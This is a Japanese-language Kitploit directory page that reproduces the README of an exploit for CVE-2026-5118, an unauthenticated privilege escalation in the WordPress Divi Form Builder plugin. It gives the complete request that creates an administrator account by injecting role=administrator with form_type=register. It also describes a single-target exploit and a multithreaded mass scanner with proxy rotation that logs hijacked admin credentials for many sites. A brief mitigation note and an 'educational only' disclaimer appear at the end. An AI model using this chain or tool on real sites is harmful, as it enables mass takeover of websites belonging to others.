Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5118 — CVE-2026-5118向けの自動エクスプロイトおよびマススキャナー。WordPress Divi Form Builder <=5.1.2における未認証の権限昇格を悪用し、ロールインジェクションによる管理者アカウント作成を可能にします。 | Kitploit
ツール/GitHubGitHub/1beelze/cve-2026-5118
特権昇格ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト認証レッドチーミング
GitHub1beelze/cve-2026-5118

CVE-2026-5118

CVE-2026-5118向けの自動エクスプロイトおよびマススキャナー。WordPress Divi Form Builder <=5.1.2における未認証の権限昇格を悪用し、ロールインジェクションによる管理者アカウント作成を可能にします。

421ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-5118 — Divi Form Builder ≤ 5.1.2

ロールインジェクションによる認証なしの権限昇格
=== Beelze ( zeroday 1diot9 ) ===


📋 脆弱性情報

フィールド詳細
CVE IDCVE-2026-5118
CVSS スコア9.8 (Critical)
CVSS ベクターCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWECWE-269 — Improper Privilege Management
プラグインDivi Form Builder (by Divi Engine)
影響を受けるバージョン全バージョン ≤ 5.1.2
パッチ適用5.1.3 (2026年4月13日)
公開日2026年5月20日
研究者0xd4rk5id3 — EnvoraSec
PoCBeelze ( zeroday 1diot9 )

🔍 説明

WordPress 用プラグイン Divi Form Builder は、バージョン 5.1.2 までの全バージョンにおいて、認証なしの権限昇格 の脆弱性があります。

FormSubmissionHandler.php 内の create_user() 関数は、ユーザー登録時に POST データからユーザー制御の role パラメータを受け取り、フォームの設定された default_user_role に対して検証せずに 処理します。唯一の「保護」は sanitize_text_field() です。これは HTML タグやエンコーディングを除去しますが、安全なロールに制限するための何の処理も行いません。続く存在確認は、ロールが WordPress に存在するか(そして administrator は常に存在します)を確認するだけです。

この三重の失敗により、認証されていない攻撃者は以下のことが可能です。

  1. Divi Form Builder フォームがある任意のページ(お問い合わせ、見積もり、ニュースレターなど、種類は問いません)を検索
  2. de_fb_obj JavaScript オブジェクトから グローバル共有 nonce (fb_nonce) を抽出
  3. POST 経由で form_type を register に上書き — 任意のフォームを登録エンドポイントに変換
  4. AJAX 送信に role=administrator を注入
  5. 攻撃者が制御する資格情報で 完全な管理者アカウント を作成

結果: 完全なサイト乗っ取り — 認証不要、ユーザー操作不要、POST リクエスト 1 回。


🧬 根本原因分析

1. POST データからの未サニタイズなロール受け取り

root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
    ? sanitize_text_field($form_data['role'])   // ← タグ/エンコーディングを除去するだけ!
    : 'subscriber';                              // ← 'administrator' はそのまま通過

sanitize_text_field() は自由テキストのサニタイズ(XSS 対策)用に設計されています。安全なロールの許可リストに対して検証しません。文字列 "administrator" には HTML タグや特殊エンコーディングが含まれていないため、完全に無傷で通過します。

2. 存在確認のみ — セキュリティチェックではない

root@kitploit:~
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
    !isset($roles_obj->roles[$role])) {
    $role = 'subscriber';   // ← ロールが存在しない場合のみフォールバック
}

このチェックは「このロールは WordPress に存在するか?」を尋ねています — そして administrator は常に存在します。正しい質問「このロールは公開自己登録にとって安全か?」は決して問われません。適切なチェックは、['subscriber', 'contributor'] のような許可リストに対して検証するか、フォームの default_user_role 設定を強制する必要があります。

3. 権限ゲートなしでの直接ロール割り当て

root@kitploit:~
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role);   // ← 攻撃者が制御するロールが直接適用される!

current_user_can('create_users') チェックなし。current_user_can('promote_users') チェックなし。いかなる種類の権限確認もありません。攻撃者が指定したロールがそのまま set_role() に渡されます。

4. グローバル共有 nonce — フォームがあるすべてのページで公開

root@kitploit:~
// Frontend JS localization
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
    'ajax_url' => admin_url('admin-ajax.php'),
    'nonce'    => wp_create_nonce('security'),   // ← すべてのフォーム、すべてのページで同一 nonce
    // ...
]);

fb_nonce は wp_create_nonce('security') によって生成されます — これはサイト上のすべての DFB フォームで共有される汎用アクション文字列です。訪問者は de_fb_obj JavaScript オブジェクトをページソースから読み取ることで抽出できます。

5. フォームタイプの上書き — 任意のフォームが登録エンドポイントになる

root@kitploit:~
// AJAX handler
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';

if ($form_type === 'register') {
    $this->create_user($form_data);   // ← POST 上書きでトリガー!
}

form_type は POST データから読み取られ、サーバー側のフォーム設定からではありません。攻撃者は任意の DFB AJAX 送信(お問い合わせフォーム、見積もりリクエスト、ニュースレター登録)に form_type=register を送信でき、サーバーは登録コードパスを実行します。フォームの本来の目的は無関係です。


⚔️ 攻撃チェーン

root@kitploit:~
[認証なしの攻撃者]
         │
         ▼
   GET /any-page-with-dfb-form/
   ← HTML ソース: de_fb_obj = {"nonce":"abc123def0", ...}
         │
         ▼
   de_fb_obj JavaScript オブジェクトから fb_nonce を抽出
         │
         ▼
   POST /wp-admin/admin-ajax.php
   ┌──────────────────────────────────────────────┐
   │  action    = de_fb_ajax_submit_ajax_handler  │
   │  fb_nonce  = abc123def0                      │
   │  role      = administrator        ← インジェクション │
   │  form_type = register          ← 上書き      │
   │  user_login = attacker_admin                 │
   │  user_pass  = AttackerPass123!               │
   │  user_email = [email protected]              │
   └──────────────────────────────────────────────┘
         │
         ▼
   sanitize_text_field('administrator') → 'administrator'    ✓ 通過
   wp_roles()->roles['administrator'] は存在する? → YES      ✓ 通過
   $user->set_role('administrator')                          ✓ 権限チェックなし
         │
         ▼
   ← {"success": true, "data": {"message": "User created"}}
         │
         ▼
   POST /wp-login.php
   log=attacker_admin & pwd=AttackerPass123!
   ← 302 → /wp-admin/
         │
         ▼
   [完全な管理者アクセス] 🔥

🛠️ ツール

CVE-2026-5118.py — 単一ターゲットエクスプロイト

自動フォーム発見と nonce 抽出を含む完全な 5 フェーズのエクスプロイトチェーン。

root@kitploit:~
python3 CVE-2026-5118.py
root@kitploit:~
  ターゲット URL: https://target.com
  ユーザー名 [beelze_admin]:
  パスワード [Beelze123!!@#!]:
  メール [[email protected]]:
  タイムアウト (秒) [15]:
  SOCKS5 プロキシ (空白 = なし):

エクスプロイトのフェーズ:

root@kitploit:~
フェーズ 1  ▶  到達可能性 (HTTPS + HTTP フォールバック)
フェーズ 2  ▶  プラグイン検出 (readme.txt バージョンチェック)
フェーズ 3  ▶  フォーム発見と Nonce 抽出
             ├── REST API ページスキャン
             ├── 一般的なパスのプロービング
             ├── Sitemap クロール
             └── ホームページリンククロール
フェーズ 4  ▶  ロールインジェクション (権限昇格)
フェーズ 5  ▶  管理者ログイン確認

出力 (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target.com | beelze_admin:Beelze123!!@#!

CVE-2026-5118-mass.py — マススキャナー

JSONL ログと再開サポートを備えたマルチスレッド大量エクスプロイト。

root@kitploit:~
python3 CVE-2026-5118-mass.py
root@kitploit:~
  ターゲットファイル (1行に1URL): targets.txt
  ユーザー名 [beelze_admin]:
  パスワード [Beelze123!!@#!]:
  メール [[email protected]]:
  スレッド数 [10]:
  タイムアウト (秒) [10]:
  プロキシファイル (SOCKS5, 1行に1つ, 空白 = なし):
  前回のスキャンを再開しますか? (y/n) [n]:

機能:

  • 設定可能なスレッド数によるマルチスレッドスキャン
  • SOCKS5 プロキシローテーション
  • プログラム処理用の JSONL 出力
  • 再開サポート — 既にスキャンしたターゲットをスキップ
  • リアルタイム統計を備えたリッチな進捗バー
  • HTTPS 失敗時の自動 HTTP フォールバック

出力 (scan_results/CVE-2026-5118_success.txt):

root@kitploit:~
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!

🔒 緩和策

  • Divi Form Builder をバージョン 5.1.3 以降に更新
  • パッチでは、割り当てられるロールが常にフォームの default_user_role 設定でサーバー側で設定されたものであることを強制し、POST データからのユーザー指定の role パラメータを無視します

Beelze ( zeroday 1diot9 ) — 教育および許可されたセキュリティ研究のみを目的としています

ツールをダウンロード